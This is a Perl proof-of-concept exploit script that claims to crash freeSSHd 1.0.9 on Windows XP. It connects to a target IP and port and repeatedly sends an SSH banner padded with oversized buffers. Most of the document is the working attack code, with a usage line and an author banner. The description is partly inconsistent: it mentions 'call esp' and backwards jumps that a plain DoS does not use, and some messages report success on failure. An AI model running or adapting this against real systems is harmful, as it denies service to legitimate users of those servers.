#!/usr/bin/perl

use IO::Socket;

# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 13 january 2024
# Vendor Homepage:  N/A
# Download to demo: 
# Notification vendor: No reported
# Tested Version: freeSSHd 1.0.9 - Denial of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: 

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The SSH does not correctly handle the amount of data or bytes sent.
#When authenticating to the SSH with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

my $bufff =
  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;


    my $payload =
      "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .
      "\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);

    $payload .= $payload;
    $payload .= "C" x 19021 . "\r\n";

my $i=0;
while ($i<=18) {
    my $sock = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp'
    ) or die "Cannot connect!\n";

    if (<$sock> eq '') {
    print "[+] Done - Exploited success!!!!!\n\n";
    exit;
    }

    $sock->send($payload) or die "Exploited successuful!!!";

$i++;
}



  
   sub intro {
      print q {


                            _/|     
	                         // o\    
	                         || ._)  
        	                 //__\   
        	                 )___(   

	    [+] freeSSHd 1.0.9 - Denied of Service (DoS)

	    [*] Coded by Fernando Mengali

	    [@] e-mail: fernando.mengalli@gmail.com

      }
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }